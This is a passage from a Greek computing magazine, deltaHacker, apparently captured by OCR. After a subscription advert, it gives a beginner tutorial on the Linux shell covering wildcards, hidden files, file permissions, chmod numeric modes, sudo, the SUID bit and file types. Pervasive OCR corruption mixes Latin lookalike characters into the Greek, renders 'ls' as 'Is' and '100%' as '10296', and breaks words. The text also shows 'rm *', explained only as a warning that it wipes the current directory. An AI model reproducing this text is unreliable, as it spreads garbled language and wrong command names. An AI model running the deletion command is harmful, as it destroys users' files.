προγραμματισμό και ηλεκτρονικά. 


To deltaHacker δεν γυρνάει εδώ κι εκεί στα 
περίπτερα, αλλά για ένα και πλέον χρόνο έρχεται 
κατευθείαν στο σπίτι σας. 


Αν είστε από εκείνους που δεν βλέπουν τον 
υπολογιστή τους ως άλλη µια οικιακή συσκευή 
και δεν αντιμετωπίζετε το Internet ως ένα δίκτυο 
που αρχίζει και τελειώνει µε το Facebook και 

το Twitter, τότε είναι 10296 βέβαιο ότι θα 
αγαπήσετε το deltaHacker, καθώς κι ότι θα 
θέλετε την παρέα του κάθε μήνα. 


Όλες οι πληροφορίες για όλα τα προγράμματα 
συνδροµών είναι στο 


deltahacker.gr/subscriptions 


Παραγγείλετε τώρα µία από τις συµφέρουσες 
συνδρομές από το 


deltahacker.gr/order 


Σηµείωση: Οι συνδρομές σας μπορούν να ξεκινούν 
από όποιο τεύχος επιθυμείτε, αρκεί να υπάρχει 
σε stock. Την ύλη όλων των τευχών που έχουν 
κυκλοφορήσει ὡς τώρα είναι στο 


deltahacker.gr/category/magazine-issues 


Sk111: Beginner 


Tags: BASH, file 
permissions, links, 
mount, aliases, 
where, which, find 


Κυριαρχήστε στο command, line:/ 


H nporn επίθεση 


Μετά το άρθρο που ξεκινά απὀ τη 
σελίδα 12, ὅταν βρισκόμαστε μπροστὰ 
στη γραμμὴ £vroAov δεν νιώθουμε 
χαμένοι. Γνωρίζουμε ελάχιστα αλλά, 
τέλος πάντων, έχουμε δει ra βασικἀ κι 
ἔχουμε μάθει ορισμένα κολπάκια. Σε 
αυτὀ το στάδιο ενδέχεται να μπούμε 
στον πειρασμὸ να τροποποιήσουμε 
διάφορα αρχεία του συστήματος, εἶτε 
αυτόβουλα εἶτε ακολουθώντας τις 
οδηγἱες που διαβάσαµε κάπου. Ta 
πράγματα σοβαρεύουν λοιπὀν και καλὸ 
θα ἦταν να προχωρήσουμε άμεσα σε nio 
προχωρημένες £vvoisg... 


bu Spir(àl Evoluti8n 
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Στα λειτουργικἀ συστήµατα τύπου Unix τα ονόματα των αρχείων εἶναι ðu- 
varó ν’ απαρτίζονται anó σχεδὸν οποιονδήποτε χαρακτήρα. Σε ότι αφορά 
στα γράμματα χρησιμοποιούνται κατά παράδοση ra πεζἀ, ενώ υπάρχουν 
και ορισμένοι χαρακτήρες που αποφεύγονται δια ροπάλου! Βλέπετε, 
υπάρχει £va σύνολο χαρακτήρων --οι λεγόμενοι ειδικοἱ χαρακτήρες-- nou 
τυγχάνουν ξεχωριστής ερμηνείας κι αντιμετώπισης απὀ το κέλυφος. Αν 
κάποιοι απὀ αυτούς χρησιμοποιούνταν σε ονόματα αρχείων, θα προέκυ- 
nrav μεγάλα μπερδέματα. Fia να καταλάβετε καλύτερα τι εννοούμε, θα 
εξετάσουμε την λειτουργία μερικών ειδικὠν, συχνὰ χρησιμοποιούμενων 
χαρακτήρων: 


e Αστερἰσκος. Εκτελώντας κάτι σαν το Is map of *, θα εμφανι- 
στούν όλα τα αρχεία nou ro ὀνομά τους εἶναι το «map. of » ἡ ξε- 
κινἁ µε το «map. of. » (πάντα χωρὶς τα εισαγωγικά). O αστερἰσκος 
λειτουργεἰ ως μπαλαντὲρ κι αντικαθιστἁ κανέναν, ἑναν ἡ περισ- 
σὀτερους χαρακτήρες. O αστερἰσκος ὁμως μπορεί va χρησιμοποι- 
ηθεἰ και μόνος του. Σε αυτή την περίπτωση αναφέρεται σε όλα τα 
αρχεἰα του τρέχοντος καταλόγου. Πα παράδειγµα, αν εκτελἐσουµε 
το rm * θα διαγραφούν όλα τα αρχεία του καταλόγου στον οποίο 
βρισκόμαστε! 


9 Λατινικὀ £pornparikó. Auróc ο χαρακτήρας λειτουργεί επίσης 
σαν μπαλαντὲρ, αλλά υποκαθιστά μόνο ἐναν χαρακτήρα. Ἔτσι, αν 
εκτελέσουµε TO «ls notes?» θα εμφανιστούν όλα τα αρχεία nou 
TO ὀνομά τους ξεκινἁ µε TO «notes» και ολοκληρώνεται µε ἑναν 
ακόµα χαρακτήρα. Πα παράδειγµα, θα εμφανιστούν αρχεία όπως 
τα notes1, notesd, notesX κ.ο.κ. Αντίθετα, τυχόντα αρχεία µε ovó- 
ματα ὁπως notes 1, notes32 κ.λπ. δεν θα εμφανιστούν. 


9 Αγκύλες. Οι αγκύλες χρησιμοποιούνται για τον ορισμὀ ενὸς συ- 
νόλου (set) ἡ µιας nepioxri (range) χαρακτήρων. Έτσι, αν EKTE- 
λέσουμµε το Is doc[a5D1] θα εμφανιστούν τα αρχεία nou το ὀνομά 
τους ξεκινὰ µε TO «doc» και τελειώνει µε κἀποιον χαρακτήρα απὀ 
το σύνολο £a, 5, D, 1). Αν ὁμως εκτελέσουµε το ls test[3-7] θα 
εμφανιστούν τα αρχεἰα που το ὀνομὰ τους ξεκινά pe rr] λέξη «test» 
και τελειώνει µε κἄποιον αριθµό anó την περιοχή μεταξύ του 3 και 
του 7 συμπεριλαμβανομένων. Η διαφορά μεταξύ περιοχών και συ- 
νόλων σηματοδοτείται anó την παρουσία του χαρακτήρα - (dash) 
ἡ όχι. 

e Θαυμαστικὀ. O συγκεκριμένος χαρακτήρας Χρησιμοποιείται για 
να δηλώσει την άρνηση µιας πρότασης (ro αντἰθετό της) ἡ ro συ- 
μπληρωματικὀ ενὸς συνόλου. H πρώτη χρήση rou θαυμαστικού θα 
φανεὶ όταν θα μιλήσουμε περὶ scripting και για τις δομές if. Ta 
σύνολα όμως τα συναντήσαμε ἠδη, µε τις αγκύλες. Ας δούμε va 
παράδειγµα: Εκτελώναςτο Is ca[!rt] θα εμφανιστούν τα αρχεία που 
ξεκινούν µε το «ca», αλλά δεν τελειώνουν µε TO γράμμα «r», οὐτε 
HE το «t». 


Πριν προχωρήσουμε, αξίζει να σημειώσουμε ὁτι οι ειδικοἰ χαρακτήρες 
εἶναι δυνατὸν να συνδυαστούν, για το σχηματισμὸὀ (περισσότερο) πολύ- 
πλοκων εκφράσεων. Παρατηρείἰστε την ακόλουθη ἐκφραση: 


ls notes??[!d] 


Μπορείτε va μαντέψετε την ερµηνεἰα της; Av εκτελέσουµε ro napaná- 
vo, θα εμφανιστούν τα αρχεία nou ro ὀνομά τους ξεκινά µε το «notes», 
συνεχίζει µε δύο οποιουσδήποτε χαρακτήρες και ολοκληρώνεται µε ἑναν 


Kupiapyrjote, στα command, line:/ part 2/4 
ri 


ακόµα, o οποίος ὁμως εἶναι διαφορετικὀς απὀ ro d. Εδὠ πρέπει va οµολο- 
γήσουμε ὁτι το συγκεκριμένο παράδειγµα δεν ἐχει καμία πρακτικἡ αξία, 
αλλά νομἰζουµε ὁτι επιδεικνύει την ευελιξία που προσφἑρει η γραµµή 
εντολών. Τέλος, εἶναι αυτονόητο Ori η χρήση των ειδικών χαρακτήρων 
δεν περιορἰζεται στο πρὀγραμμα Is. Μπορούμε να τους αξιοποιήσουµε σε 
συνδυασμὸ µε οποιοδήποτε πρὀγραμμα αλλά, ὁπως πάντα, καλὸ εἶναι να 
δείχνουμε μεγάλη προσοχή! 


Κρυφά αρχεία κι επεκτάσεις 


Αναφερόµενοι στους χαρακτήρες που τυγχάνουν ιδιαίτερης αντιμετώπι- 
σης, πρέπει να αναφερθούμε και στην τελεία. Στο προηγούμενο ἀρθρο, 
εἶδαμε ὁτι η τελεία συμβολίζει τον κατάλογο στον onoio βρισκόμαστε 
κάθε φορὰ. Ωστόσο, αυτή n ερµηνεἰα ισχύει όταν η τελεία χρησιμοποιεἰ- 
ται μόνη της ἡ μέσα σε κάποια διαδρομή καταλόγων. O ἰδιος χαρακτήρας 
αποκτά εντελὠς διαφορετικὀ ὀνομα, ὀταν χρησιμοποιείται στα ονόματα 
των αρχείων. Συγκεκριμένα, ὁταν η τελεία βρίσκεται στην αρχή ενός ovó- 
ματος, το αντίστοιχο αρχείο θεωρείται κρυφό! Έτσι, av εκτελἐσουµε το 
πρὀγραμμα Is και παραλείψουμε την παράμετρο -a (all), τα αρχεία που το 
ὀνομὰ τους ξεκινά µε τελεία δεν θα εμφανιστούν. Σε οποιοδήποτε ἆλλο 
σηµείο ενὸς ονόματος, η τελεία δεν σημαίνει απολύτως τίποτα. Πρακτικά, 
αυτό συνεπάγεται ότι η έννοια της λεγόμενης επέκτασης (n.x., .exe, .com 
κ.λπ.) δεν υφίσταται στο Linux. Τα συστήματα Unix δεν στηρἰζονται στην 
ονομασία των αρχείων, για να εντοπίσουν τον τύπο τους. Εντούτοις, για 
τη δικἠ µας ευκολία και μόνο, οι επεκτάσεις χρησιμοποιούνται συχνά. Για 
παράδειγμα, τα αρχεία µε κὠδικα C καταλήγουν σε .c, ενώ τα αρχεία επι- 
κεφαλίδας (header files) χρησιμοποιούν το .h. Αυτή πρακτικἠ εξυπηρετεὶ 
την εὐκολη διάκριση των αρχείων anó το χρήστη, αλλά δεν επηρεάζει τη 
συμπεριφορά του συστήματος απέναντι στο εκάστοτε αρχείο. 


Δικαιώματα χρήσης 


Σε ἑνα λειτουργικὀ σύστημα που χρησιμοποιείται απὀ πολλοὺς χρήστες, 
εἶναι λογικὸ να απαγορεύεται η µη εξουσιοδοτηµένη πρόσβαση στα 
«ξένα» αρχεία, καθὼς επἰσης και σε εκείνα που θεωρούνται κρίσιμα για 
τη λειτουργία του συστήµατος. Πα το σκοπὀ auro, κάθε αρχείο συνοδεύ- 
εται anó ἑνα ξεχωριστὀ σύνολο δικαιωμάτων πρὀσβασης, ro οποίο προσ- 
διορίζει µε σαφήνεια το ποιος μπορεί να αλληλεπιδράσει µε το εκάστοτε 
αρχείο, καθὼς και µε ποιον τρόπο. Πα va δούμε τις σχετικὲς ιδιότητες 
ενὸς αρχείου (file permissions), αρκεἰ να εκτελἐσουμµε το προγραμματάκι 
Is µε την παράμετρο -I (list). Κατά τα γνωστὰ, αυτό θα ἐχει σαν συνὲ- 
πεια την εμφάνιση µιας λίστας µε ra αρχεἰα του τρέχοντος καταλὀγου. OI 
γραμμές αυτἠς της λίστας θα μοιάζουν µε την ακὀλουθη: 


-rwxrw-r-- 1 pvar pvan 530 2012-12-01 19:23 some 
random file 


Οι πληροφορὶες που περιγράφουν τα δικαιώµατα πρὀσβασης ou- 
μπυκνώνονται στην πρώτη, στην τρίτη και στην τέταρτη στήλη. 
Πάντως, πριν εξηγήσουμε τι σημαίνουν ὁλα αυτά, σημειώστε 
ὁτι ο πρὠτος χαρακτήρας anó αριστερά δηλώνει τη «φύση» 
του αρχείου και δεν σχετἰζεται µε το θέμα µας. Θα αναφερ- 
θούμε αργότερα στα διάφορα εἰδη αρχείων και για την opa 
µπορείτε να ξεχάσετε το όλο ζήτημα. 


H γνωριμία µας µε ra file permissions θα ξεκινήσει απὀ ra 
απλά: Από τα δύο ονόματα που εμφανίζονται στην τρίτη και 
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στην τέταρτη στήλη. To ὀνομα της τρίτης στήλης αναφέρεται στον ιδι- 

οκτήτη του αρχείου. Με ἄλλα λὀγια, σε εκείνον που το δημιούργησε ἡ 
το αντέγραψε στην τρέχουσα θέση του. To ὀνομα της τέταρτης OT- 

Anc δηλώνει την ομάδα χρηστών (user group), στην οποία ανήκει το 

αρχείο. Στα συστήματα Unix, βλέπετε, οι χρήστες ανήκουν σε μία ἡ 

περισσότερες ομάδες χρηστών. Όπως θα Φανεἰ στη συνέχεια, 
το γεγονὸς αυτὀ εξυπηρετεἰ στη διαχείριση των δικαιωμάτων 
πρόσβασης και των πόρων του συστήματος γενικότερα. Πριν 
προχωρήσουμε, σημειώστε Ori κατὰ τη δημιουργία ενὸς user 
account δημιουργεἰται σχεδὸν πάντα κι ἑνα ομώνυμο user 
group. 


Ας επιστρέψουµε τώρα στο παράδειγμά µας. Anó τα δύο ovó- 

ματα που εμφανίζονται, συμπεραίνουμε ὁτι το αρχείο some - 
random, file ανήκει στο χρήστη pvar, καθὼς και στην ομώνυμη 
ομάδα χρηστών. Τι σημαϊνουν ὁλα αυτά, όμως; Μήπως ο ιδιοκτήτης ἐχει 
τα ἴδια δικαιώματα µε εκείνα που ¿xouv τα υπόλοιπα µέλη της ομάδας; 
Φυσικά και ὀχι! Τα δικαιώματα που ἐχει ο ιδιοκτήτης, τα µέλη της avri- 
στοιχης ομάδας αλλά και κάθε ἄλλος, άσχετος χρήστης, περιγράφονται 
ξεχωριστά. Συγκεκριµένα, περιγράφονται anó τους χαρακτήρες της npo- 
της στήλης. Εκεί, εξαιρὠντας τον πρὠτο χαρακτήρα, παρατηρούμε ὁτι 
απομένουν ἀλλοι εννέα. Anó αυτούς, οι πρώτοι τρεις περιγράφουν τα 
δικαιώματα του ιδιοκτήτη. Οι επόμενοι τρεις περιγράφουν τα δικαιώματα 
της ομάδας στην οποία avr|kei το αρχείο, ενώ οι τρεις τελευταίοι περιγρά- 
φουν τα δικαιώματα πρὀσβασης των υπολοίπων χρηστών του συστήμα- 
τος. Νομίζουμε ὁτι αυτή η περιγραφἠ ρἰχνει αρκετό φως στην υπόθεση, 
αλλά δεν ξεκαθαρίζει το θέμα. Πα να καταλάβουμε τελικά τι παίζει, πρέπει 
να δώσουμε και την ερμηνεία του καθενὸς χαρακτήρα, ξεχωριστὰ. 


ο r: Προέρχεται απὀ τη λέξη read κι αναφέρεται στο δικαίωμα avà- 
γνωσης. Όταν τον συναντάμε σε µια τριάδα, ο ιδιοκτήτης ἡ οι αντἰ- 
στοιχοι χρήστες ¿xouv δικαίωμα να διαβάζουν το αρχείο. 


ο w: Προέρχεται απὀ την λέξη write και συμβολίζει τη δυνατότητα 
εγγραφής. Οι χρήστες που ἐχουν δικαίωμα εγγραφἠς μπορούν va 
τροποποιούν ελεύθερα το εκάστοτε αρχείο, ακόµη και va το δια- 
γράψουν. Ωστόσο, µόνον ο ιδιοκτήτης µπορεί να μεταβάλλει τα 
δικαιώματα πρόσβασης! 


ο x: Προκύπτει απὀ την λέξη execute κι ἐχει διπλὸ νόημα: Στην ne- 
ρίπτωση των προγραμμάτων αναφέρεται στο δικαίωµα εκτέλεσης, 
ενὠ στην περίπτωση των καταλόγων αναφέρεται στο δικαίωμα «ει- 
σόδου» στον συγκεκριµένο κατάλογο. 


Ας ξαναδούµε το παράδειγµα µε τα δικαιώματα πρὀσβασης ενὸς ruyai- 
ου αρχείου: 


-rwxrw-r-- 1 pvar pvanr 530 2012-12-01 19:23 some random file 


Αναρωτιέστε τι σημαίνουν οι παύλες; Τα γράμματα r, w και x εµφα- 

νἰζονται πάντα µε τη σειρἁ που τα αναφέραμε. Επομένως, σε 
οποιαδήποτε θέση συναντάμε µια παύλα, υπονοείται η Ἐστέ- 
pnon* του αντίστοιχου δικαιώματος. Αν µπερδευτήκατε µην 
ανησυχείτε! Συμβαίνει σ’ όλους στην αρχἠ :) Στη συνέχεια 
θα εξετάσουμε τους χαρακτήρες που εμφανίζονται στο παρά- 
δειγµα και va εἰστε σίγουροι ori θα ξεκαθαρἰσουν ὀλα. 


H πρὠτη τριάδα εἰναι πλήρης (rwx) κι αυτό σημαίνει ὁτι ο ιδιο- 


Kupiapyrjote, στα command, line:/ part 2/4 
Αα 


κτήτης του αρχείου ἐχει πλήρη δικαιώματα πρόσβασης. Βέβαια, ακόμα 
κι αν ο ιδιοκτήτης δεν εἶχε πλήρη δικαιώματα, θα μπορούσε να ra 
τροποποιήσει! Στην επόμενη τριάδα παρατηρούμε ὁτι απουσιάζει TO 
δικαίωμα εκτέλεσης (rw-). Αυτό σημαίνει ὁτι οι χρήστες nou ανἠ- 
κουν στην ομάδα pvar μπορούν να διαβάζουν και να τροποποιούν 
TO αρχείο some random file, ελεύθερα. Ωστόσο, αν πρὀκειται 
για πρόγραµµα ἡ script, απαγορεύεται να το εκτελέσουν! H 
τρίτη τριάδα προσφἑρει μόνο το δικαίωμα ανάγνωσης (r--). 
Έτσι, οι υπόλοιποι χρήστες του συστήµατος μπορούν µόνο va 
διαβάσουν το some . random file. 


Μεταβολή των δικαιωμάτων πρὀσβασης 


Ὅπως αναφέραμε ἠδη, ο ιδιοκτήτης ενὀς αρχείου µπορεί va 
μεταβάλλει τα σχετικἀ δικαιώματα πρόσβασης κατὰ βούληση. 

Εδὠ ὁμως χρειάζεται λίγη προσοχἠ: Ἑνας απλὸς χρήστης εἶναι αδύνατο 
να αλλάξει τον ιδιοκτήτη ἡ την ομάδα χρηστῶν ενὸς αρχείου, ακόµα κι αν 
το αρχείο αποτελεἰ ιδιοκτησία του. H αλλαγἠ του ιδιοκτήτη και της ομά- 
δας χρηστών προὐποθέτει αυξημένα δικαιώματα πρόσβασης στο λειτουρ- 
γικὀ σύστημα! Πα το λὀγο auró, όταν δεν χρησιμοποιούμε το λογαριασμὀ 
root πρέπει να αξιοποιούµε τον μηχανισμὀ «αναβάθµισης δικαιωμάτων» 
που προσφέρει το λειτουργικὀ µας. Σε πολλὲς σύγχρονες διανομὲς Linux, 
auró επιτυγχάνεται µε τη βοήθεια του προγράμματος sudo. Σε γενικὲς 
γραμμὲς, η χρήση του περιγράφεται απὀ το εξἠς μοτίβο: 


sudo πρόγραμμα που απαιτεί αυξημένα δικαιώµατα παράμετροι. 

προγράμματος 
Εκτελώντας κάτι σαν το παραπάνω, το σύστημα θα ζητήσει να nàn- 
κτρολογήσουμε τον κωδικὀ πρὀσβασης του χρήστη µας ἡ εκείνον του 
διαχειριστἠ (αναλόγως των ρυθµἰσεων που ἐχει κἀνει ο τελευταίος). Το 
πρὀγραμμα, μαζί µε τις παραμέτρους που δώσαμε, θα εκτελεστεἰ µε ava- 
βαθμισμένα δικαιώματα αφού εισάγουµε σωστά τον κωδικὀ. Βεβαίως, το 
sudo δεν μπορεί να το χρησιμοποιεί ο καθένας. Το ποιοι μπορούν το ορίζει 
ο root. Μετά απὀ αυτή την παρένθεση, μπορούμε va επιστρέψουμµε στο 
θέμα µας... 


e Μεταβολή του ιδιοκτήτη: [ia το σκοπὀ auró προσφέρεται TO 
πρὀγραμμα chown (απὀ ro change owner). Συγκεκριµένα, για va 
«μεταφέρουμε» το αρχείο notes στην ιδιοκτησία TOU cvar, πρέπει 
να εκτελἑσουµε το εξἠς: 


sudo chown cvar notes 


e Μεταβολή της ομάδας: Αυτή τη φορά πρέπει va χρησιµοποιή- 
coupe το chgrp (απὀ ro change group). H σύνταξη που ako- 
λουθούμε παραμένει ἴδια. Πα να αλλάξουμε την ομάδα του 
αρχείου notes απὀ pvar σε cvar, αρκεἰ να εκτελέσουµε αυτό: 


sudo chgrp cvar notes 


e Μεταβολή rov επιµέρους δικαιωμάτων: M’ αυτή την 
επέμβαση πρέπει να χρησιμοποιήσουμε το εργαλείο 
chmod (anó το change mode). Εδὠ όμως τα πράγµα- 
τα περιπλἑκονται λἰγο. Πώς θα περιγράψουμε την ακρι- 
gri μεταβολὴ που θέλουμε να επιφἐρουμε; Αρχικἁ, να 
πούμε ὁτι το chmod υποστηρίζει δύο συντακτικά και ὁτι 
εμεὶς θα ασχοληθούμε µε το πολύπλοκο! Auró δεν το 
κάνουμε γιατὶ µας αρέσει να παιδευόμαστε, αλλά γιατὶ 
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θεωρούμε ὁτι TO συγκεκριµένο συντακτικὀ εἶναι πληρέστερο. Mno- 
pei να εἶναι και λίγο πιο μακριὰ anó την ανθρώπινη λογική, αλλά 
anó την ἄλλη εἶναι και πιο ακριβές: 


chmod xyz όνοµα αρχείου 


Ta x, y και z εἶναι αριθµητικἀ ψηφία. To x περιγράφει τα δικαιώματα npó- 
σβασης για τον ιδιοκτήτη, TO y αναφἑρει τα δικαιώµατα πρόσβασης για 
την ομάδα xpnorov και το Ζ προσδιορίζει τα δικαιώματα πρόσβασης των 
unoAoinov. Όμως, ποιες τιμὲς μπορούν να πάρουν αυτά τα ψηφία και πως 
προκύπτουν; 


Φανταστείτε κάθε τριάδα χαρακτήρων που αναφέρεται στα δικαιώμα- 
τα (r, w, X) σαν vav τριψήφιο αριθµό του δυαδικού συστήματος. Όταν 
παρέχεται κάποιο απὸ αυτά τα δικαιώματα, το αντίστοιχο ψηφίο εἶναι 
va, ενώ όταν στερείται το δικαίωµα, το ψηφίο εἶναι μηδενικὀ. Για na- 
ράδειγμα, ὅταν nap£yovrai και τα τρία δικαιώματα (rwx) ο υποτιθέμενος 
αριθμὸς στο δυαδικὀ ἐχει τη µορφή 111. Όταν παρέχονται µόνο τα δικαι- 
Qpara ανάγνωσης και εκτέλεσης (r-x) ο αριθμός γίνεται 101, evo όταν 
επιτρἐπεται µόνο η ανάγνωση (r--) ο αριθμός γίνεται 100. Κάπου εδὠ 
νομίζουμε ὁτι το παραπάνω σκεπτικὀ ἐγινε ξεκάθαρο. Τώρα, αν μετατρὲ- 
ψουµε αυτὀν τον αριθμὀ στο δεκαδικὀ, θα βρούμε την τιµή που πρέπει 
va αποδώσουµε σε καθένα απὀ τα x, y και z. Ας δούµε ἑνα παράδειγµα: 
Αν θελήσουμε να δώσουμε πλήρη δικαιώματα στον ιδιοκτήτη (111 στο 
δυαδικὸ = 7 στο δεκαδικὀ), µόνο ανάγνωση και εγγραφή yia ra µέλη της 
ομάδας (110 στο δυαδικό = 6 στο δεκαδικὀ) και μόνο ανάγνωση yia τους 
υπόλοιπους (100 στο δυαδικὀ = 4 στο δεκαδικὀ), δεν ἐχουμε παρὰ να 
γράψουμε κάτι τέτοιο: 


chmod 764 όνομα αρχείου 


Δανεικὰ δικαιώματα 


Opicuéva προγράμματα επεμβαίνουν σε κρίσιμα yia την ασφάλεια 
του συστήματος αρχεία. Χαρακτηριστικὀ παράδειγμα αποτελεἰ το 
passwd, το οποίο µπορεί να τρέξει οποιοσδήποτε χρήστης για να 
μεταβάλλει τον κωδικὸ του. Αυτό το πρὀγραμμα, όμως, επεμβαίνει 
στο αρχείο µε τους κωδικούς ὁλων των χρηστών του συστήματος! 
Δεν εἶναι λίγο επικίνδυνο αυτό; Κανονικἀ, θα περίμενε κανεἰς ότι το 
πρὀγραμμα passwd µπορεἰ να εκτελεστεἰ μόνον anó το διαχειριστή 
του συστήµατος, εφόσον μόνον αυτός µπορεἰ να τροποποιήσει το 
αρχείο µε τους κωδικούς των χρηστών. Εντούτοις, αν δοκιµάσουμµε 
να τρἐξουµε το passwd θα διαπιστώσουμε ὁτι η λειτουργία του ξεκινά 
χωρὶς να µας ζητηθεί o κωδικὸς του διαχειριστή. Προφανώς, auró 
συμβαίνει ὡστε ὁλοι οι χρήστες να μπορούν να αλλάζουν τον κωδικὀ 
τους εὐκολα. Πώς ὅμως µπορεί ἑνας απλὀς χρήστης να εκτελεί va 
πρὀγραμμα, το οποίο φέρει τα δικαιώματα του διαχειριστή; H aná- 
ντηση βρίσκεται στα δικαιώματα χρήση του εν λόγω προγράµµατος 
και συγκεκριµένα στο λεγόμενο SUID bit. Κοιτώντας τις ιδιότητες TOU 
προγράµµατος passwd, θα δούµε τα ακόλουθα: 


-rwsr-xr-x 1 root root 66040 2012-12-01 21:40 passwd 


Παρατηρεἰστε ór! στα δικαιώματα του ιδιοκτήτη ο χαρακτήρας «x» 
ἐχει αντικατασταθεἰ anó τον χαρακτήρα «s». Αυτό σημαίνει ὁτι το 
πρὀγραμμα θα εκτελείται πάντα µε τα δικαιώματα πρόσβασης rou 
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Πολλαπλή προσωπικότητα 


Στον κόσμο του Linux υπάρχει ἑνα ρητό: Καθετὶ που δεν εἶναι αρχείο, εἶναι 
διεργασἰα. Πράγματι, για τα λειτουργικά συστήµατα τύπου Unix, τα ap- 
χεία δεν εἶναι τίποτα ἄλλο παρά µία αλληλουχία χαρακτήρων (character 
streams). Απόρροια αυτού του αφηρηµένου ορισμού εἶναι η γενικευμένη 
χρήση της έννοιας του αρχείου, σε ká8e πτυχἠ του λειτουργικού συ- 
στήµατος! Στη συνέχεια θα γνωρίσουμε τα βασικότερα εἰδη αρχείων. H 
εξοικείωση μαζί τους αποτελεἰ σημαντικὀ βῆμα για την εξοικείωση µε τη 
γραμμὴ εντολῶν του Linux. 


e Regular files: Σ΄ αυτή την karnyopia ανήκουν τα γνωστά µας ap- 
χεία: Τα προγράμματα και τα scripts, τα τραγούδια, τα βίτντεο, Οι 
φωτογραφίες και τα διάφορα κείμενα. Με απλά λόγια, regular files 
ονομάζονται εκείνα nou napanéunouv προς οποιουδήποτε εἶδους 
πληροφορίες που εἶναι ἘαποθηκευμένεςἈ σε κἀποιο μέσο (n.x., 
σκληρὸ δίσκο, δίσκο DVD, USB flash κ.λπ.). 


e Directories: Οι κατάλογοι δεν εἶναι τίποτα ἆλλο παρἀ va ακόμα 
εἶδος αρχείων. Ωστόσο, οι κατάλογοι δεν παραπέμπουν προς µια 
περιοχἠ µε δεδομένα, αλλά σε ἑνα σύνολο αρχείων! Εν ολἰγοις, θα 
λέγαμε ὁτι οι κατάλογοι εἶναι αρχεία που περιέχουν τα ovópara και 
τη θέση ἄλλων αρχείων. 


e Links: Aurr η karnyopia χωρίζεται σε δύο επιµέρους. Στη μία ανἠ- 
κουν τα symbolic links και στην ἄλλη ra hard links. Για va kara- 
νοήσουμε τη διαφορὰ τους πρέπει να έχουμε υπόψη µας ra εξἠς: 
Ὄλα τα file systems χρησιμοποιούν µια δοµἠ δεδομένων (συνήθως 
πρὀκειται yia δέντρο) εντὀς της οποίας διατηρούν πληροφορὶἰες για 
τα διάφορα αρχεία. Μεταξύ ἄλλων, για κάθε anAó αρχείο αποθη- 
κεύεται TO ὀνομά TOU κι ἑνας δείκτης. Αυτός ο δείκτης παραπέμπει 
στην περιοχἠ του αποθηκευτικού µέσου, ónou βρἰσκονται τα 
δεδομένα του αρχείου. Ας επιστρέιψουµε ropa στα δύο εἶδη 
συνδέσμων. Ἑνα symbolic link αποτελεί την παραπομπή 
απὀ va σημείο της δοµἠς δεδομένων του συστήμα- 
τος αρχείων, προς κἀποιο ἆλλο σημεὶο της. Με απλά 
λόγια, τα symbolic links αποτελούν αρχεἰα που na- 
ραπέμπουν προς ἄλλα αρχεία. Τελικά, τα symbolic 
links μοιάζουν µε αντίγραφα του αυθεντικού αρ- 
χείου. Ωστόσο, αν χαθεί το αυθεντικό, τα symbolic 
links χάνουν το στὀχο τους και παραπέμπουν, πλὲ- 
ον, στο πουθενὰ. Αυτό σημαίνει ὁτι αχρηστεύονται! 
Ta hard links εἶναι κάτι πολύ διαφορετικὀ. Αποτελούν 
νέες εγγραφὲς στη δοµή δεδομένων rou συστήμα- 
τος αρχείων. Anó τη σκοπιἁ του συστήµατος αρχεἰ- 
ων, λοιπὸν, τα hard links δεν διαφέρουν σε τίποτα 
απὀ τα υπόλοιπα αρχεία. Ωστόσο, τα hard links 
δεν napanéunouv σε δικἐς τους περιοχὲς δεδο- 
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μένων, αλλά σε εκείνες κάποιων ἄλλων αρχείων. Αν φτιάξουμε va 
hard link προς κἀποιο αρχείο, ro hard link θα αποτελεί µια νέα κι 
ανεξάρτητη οντότητα, η οποία όμως θα παραπέμπει στα ἰδια δεδο- 
μένα µε το αυθεντικὀ αρχείο. Αυτό ἐχει σαν συνέπεια το hard link 
και το αντἱστοιχο αρχείο να εμφανίζονται πάντα σαν δύο πανομοι- 
ὀτυπα αρχεἰα. Av επέµβουµε στο αυθεντικό αρχείο το αντίστοιχο 
hard link θα ενηµερωθεὶ ακαριαία, εφόσον δείχνει στην ἴδια περιο- 
χἠ δεδοµένων. Επιπρόσθετα, αν σβήσουμε το αυθεντικὀ αρχείο, το 
hard link θα εξακολουθήσει να υπάρχει και θα διατηρεί τα δεδομένα 
του κανονικά. 


Device files: Όπως εἰπαμε παραπάνω, yia το Linux τα αρχεία δεν 
εἶναι τίποτα παραπάνω απὀ αλληλουχίες χαρακτήρων. Επίσης, av κι 
αυτὸ εἶναι προφανὲς, ἑνα αρχείο μπορεί να λειτουργεἰ σαν anoó£- 
κτης χαρακτήρων (για παράδειγµα όταν αποθηκεύουµε δεδομένα 
σ’ αυτό) ἡ ως πηγἠ χαρακτήρων (όταν το διαβάζουμε). Σας θυμὶ- 
ζουν τίποτε όλα αυτά; Με ἄλλα λόγια, η συμπεριφορά των αρχείων 
θυμίζει την αφηρημένη περιγραφὴ µιας συσκευής. Εξαιτίας αυτἠς 
της ομοιότητας, η επικοινωνία του συστήµατος µε ra διάφορα τµή- 
ματα rou hardware επιτυγχάνεται µε τη βοήθεια των ἰδιων µηχανι- 
σμών, οι οποίοι χειρίζονται και τα αρχεία. Έτσι, για κάθε συσκευἠ 
που θα μπορούσε να συνδεθεἰ στον υπολογιστή µας, το Linux δημι- 
ουργεί ἑνα αντίστοιχο αρχείο. O λόγος γίνεται yia τα λεγόμενα ap- 
χεία συσκευών (device files), που βρίσκονται στον κατάλογο /dev. 


Pipe files: Κάθε λειτουργικὸ σύστημα προσφἑρει τουλάχιστον 
vav μηχανισμὀ για την επικοινωνία μεταξὺ των εφαρμογών. 'Evav 
anó αυτούς αποτελεὶ η λεγόμενη διασωλήνωση (pipelining). Ta 
pipe files, λοιπόν, αποτελούν βασικἁ εξαρτήματα του εν λόγω pn- 
χανισμού και λειτουργούν σαν διαμεσολαβητές, για τη µεταφορά 
δεδομένων απὀ τη µία διεργασία στην ἄλλη. H ὑπαρξή τους, av και 
δεν γίνεται ἄμεσα αντιληπτή, αποτελεἰ ¿vav anó τους παράγοντες 
που προσφέρουν απεριόριστη ισχύ στη γραμμὴ εντολών του Linux. 
Για την αξία της διασωλήνωσης και το noc αξιοποιείται θα μιλήσου- 
µε σε επόμενο άρθρο της σειράς. 


Η φύση των αρχείων σε ἐναν χαρακτήρα 


Κατά την εμφάνιση των αρχείων σε λίστα, δίπλα στο καθένα εμφανἰ- 
ζονται και τα αντίστοιχα δικαιώματα πρόσβασης. Ωστόσο, ο πρώτος 
χαρακτήρας σε κάθε γραμμή ἐχει εντελώς διαφορετικἠ αποστολή. 
